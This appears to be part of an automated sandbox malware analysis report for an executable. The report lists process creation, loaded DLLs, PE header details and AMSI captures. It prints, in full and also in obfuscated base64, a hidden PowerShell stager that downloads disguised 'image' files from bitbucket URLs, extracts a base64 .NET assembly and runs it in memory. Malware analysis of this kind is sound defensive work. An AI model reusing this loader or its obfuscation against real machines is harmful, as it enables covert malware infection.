'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#Gg#ZwBk#GY#a#Bk#GY#ZwBk#C8#d#Bl#HM#d##v#GQ#bwB3#G4#b#Bv#GE#Z#Bz#C8#bgBl#Hc#XwBp#G0#YQBn#GU#Mg#u#Go#c#Bn#D8#MQ#0#DQ#Ng#x#Dc#Mg#x#Cc#L##g#Cc#a#B0#HQ#c#Bz#Do#Lw#v#GI#aQB0#GI#dQBj#Gs#ZQB0#C4#bwBy#Gc#LwBo#Gc#Z#Bm#Gg#Z#Bm#Gc#Z##v#HQ#ZQBz#HQ#LwBk#G8#dwBu#Gw#bwBh#GQ#cw#v#G4#ZQB3#F8#aQBt#GE#ZwBl#C4#agBw#Gc#Pw#x#DQ#N##0#DE#Nw#y#DM#Jw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#C##PQ#g#EQ#bwB3#G4#b#Bv#GE#Z#BE#GE#d#Bh#EY#cgBv#G0#T#Bp#G4#awBz#C##J#Bs#Gk#bgBr#HM#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I#Bp#GY#I##o#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#g#C0#bgBl#C##J#Bu#HU#b#Bs#Ck#I#B7#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#V#Bl#Hg#d##u#EU#bgBj#G8#Z#Bp#G4#ZwBd#Do#OgBV#FQ#Rg#4#C4#RwBl#HQ#UwB0#HI#aQBu#Gc#K##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#I##9#C##Jw#8#Dw#QgBB#FM#RQ#2#DQ#XwBT#FQ#QQBS#FQ#Pg#+#Cc#Ow#g#CQ#ZQBu#GQ#RgBs#GE#Zw#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#EU#TgBE#D4#Pg#n#Ds#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##9#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##u#Ek#bgBk#GU#e#BP#GY#K##k#HM#d#Bh#HI#d#BG#Gw#YQBn#Ck#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#GU#bgBk#Ek#bgBk#GU#e##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#ZQBu#GQ#RgBs#GE#Zw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##aQBm#C##K##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##t#Gc#ZQ#g#D##I##t#GE#bgBk#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#Gc#d##g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##p#C##ew#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#Cs#PQ#g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#LgBM#GU#bgBn#HQ#a##7#C##DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#CQ#YgBh#HM#ZQ#2#DQ#T#Bl#G4#ZwB0#Gg#I##9#C	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/hgdfhdfgd/test/downloads/new_image2.jpg?14461721', 'https://bitbucket.org/hgdfhdfgd/test/downloads/new_image.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la').Invoke($null, [object[]] ('txt.orFAmco/sdaolnwod/rgfd/wgds/gro.tekcubtib//:sptth', '0', 'StartupName', 'RegAsm', '0'))}}"	Jump to behavior

Source: C:\Users\user\Desktop\0XVZC3kfwL.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Users\user\Desktop\0XVZC3kfwL.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\0XVZC3kfwL.exe	Section loaded: feclient.dll	Jump to behavior
Source: C:\Users\user\Desktop\0XVZC3kfwL.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\0XVZC3kfwL.exe	Section loaded: advpack.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: 0XVZC3kfwL.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: 0XVZC3kfwL.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: 0XVZC3kfwL.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: 0XVZC3kfwL.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: 0XVZC3kfwL.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: 0XVZC3kfwL.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: 0XVZC3kfwL.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: 0XVZC3kfwL.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: 0XVZC3kfwL.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: e.pdb source: powershell.exe, 00000005.00000002.1546060009.000001EEDDFAE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wextract.pdb source: 0XVZC3kfwL.exe
Source:	Binary string: wextract.pdbGCTL source: 0XVZC3kfwL.exe
Source:	Binary string: System.pdbN\|2h\|2 Z\|2_CorDllMainmscoree.dll source: powershell.exe, 00000005.00000002.1546060009.000001EEDDFAE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb source: powershell.exe, 00000005.00000002.1546060009.000001EEDDFAE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\System.Management.Automation.pdbpdbion.pdb source: powershell.exe, 00000005.00000002.1545872221.000001EEDDF60000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdbP@{ source: powershell.exe, 00000005.00000002.1545597457.000001EEDDF1A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdbk source: powershell.exe, 00000005.00000002.1546060009.000001EEDDFAE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb source: powershell.exe, 00000005.00000002.1546060009.000001EEDDFFC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdbbert\Documents\WindowsPowerShell\Modules;C:\Program Files (x86)\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSESSI:Syf source: powershell.exe, 00000005.00000002.1546060009.000001EEDDFFC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdb source: powershell.exe, 00000005.00000002.1546060009.000001EEDDFAE000.00000004.00000020.00020000.00000000.sdmp

Source: 0XVZC3kfwL.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: 0XVZC3kfwL.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: 0XVZC3kfwL.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: 0XVZC3kfwL.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: 0XVZC3kfwL.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: $codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#Gg#ZwBk#GY#a#Bk#GY#ZwBk#C8#d#Bl#HM#d##v#GQ#bwB3#G4#b#Bv#GE#Z#Bz#C8#bgBl#Hc#XwBp#G0#YQBn#GU#Mg#u#Go#c#Bn#D8#MQ#0#DQ#Ng#x#Dc#Mg#x#Cc#L##g#Cc#a#B0#HQ#c#Bz#Do#Lw#v#GI#aQB0#GI#dQBj#Gs#ZQB0#C4#bwBy#Gc#LwBo#Gc#Z#Bm#Gg#Z#Bm#Gc#Z##v#HQ#ZQBz#HQ#LwBk#G8#dwBu#Gw#bwBh#GQ#cw#v#G4#ZQB3#F8#aQBt#GE#ZwBl#C4#agBw#Gc#Pw#x#DQ#N##0#DE#Nw#y#DM#Jw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#C##PQ#g#EQ#bwB3#G4#b#Bv#GE#Z#BE#GE#d#Bh#EY#cgBv#G0#T#Bp#G4#awBz#C##J#Bs#Gk#bgBr#HM#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I#Bp#GY#I##o#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#g#C0#bgBl#C##J#Bu#HU#b#Bs#Ck#I#B7#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#V#Bl#Hg#d##u#EU#bgBj#G8#Z#Bp#G4#ZwBd#Do#OgBV#FQ#Rg#4#C4#RwBl#HQ#UwB0#HI#aQBu#Gc#K##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#I##9#C##Jw#8#Dw#QgBB#FM#RQ#2#DQ#XwBT#FQ#QQBS#FQ#Pg#+#Cc#Ow#g#CQ#ZQBu#GQ#RgBs#GE#Zw#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#EU#TgBE#D4#Pg#n#Ds#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##9#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##u#Ek#bgBk#GU#e#BP#GY#K##k#HM#d#Bh#HI#d#BG#Gw#YQBn#Ck#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#GU#bgBk#Ek#bgBk#GU#e##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#ZQBu#GQ#RgBs#GE#Zw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##aQBm#C##K##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##t#Gc#ZQ#g#D##I##t#GE#bgBk#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#Gc#d##g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##p#C##ew#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#Cs#PQ#g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#LgBM#GU#bgBn#HQ#a##7#C##DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#CQ#YgBh#HM#ZQ#2#DQ#T#Bl#G4#ZwB0#Gg#I##9#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#C##J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#Ds#DQ#K#
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la').Invoke($null, [object[]] ('txt.orFAmco/sdaolnwod/rgfd/wgds/gro.tekcub
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la'

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#Gg#ZwBk#GY#a#Bk#GY#ZwBk#C8#d#Bl#HM#d##v#GQ#bwB3#G4#b#Bv#GE#Z#Bz#C8#bgBl#Hc#XwBp#G0#YQBn#GU#Mg#u#Go#c#Bn#D8#MQ#0#DQ#Ng#x#Dc#Mg#x#Cc#L##g#Cc#a#B0#HQ#c#Bz#Do#Lw#v#GI#aQB0#GI#dQBj#Gs#ZQB0#C4#bwBy#Gc#LwBo#Gc#Z#Bm#Gg#Z#Bm#Gc#Z##v#HQ#ZQBz#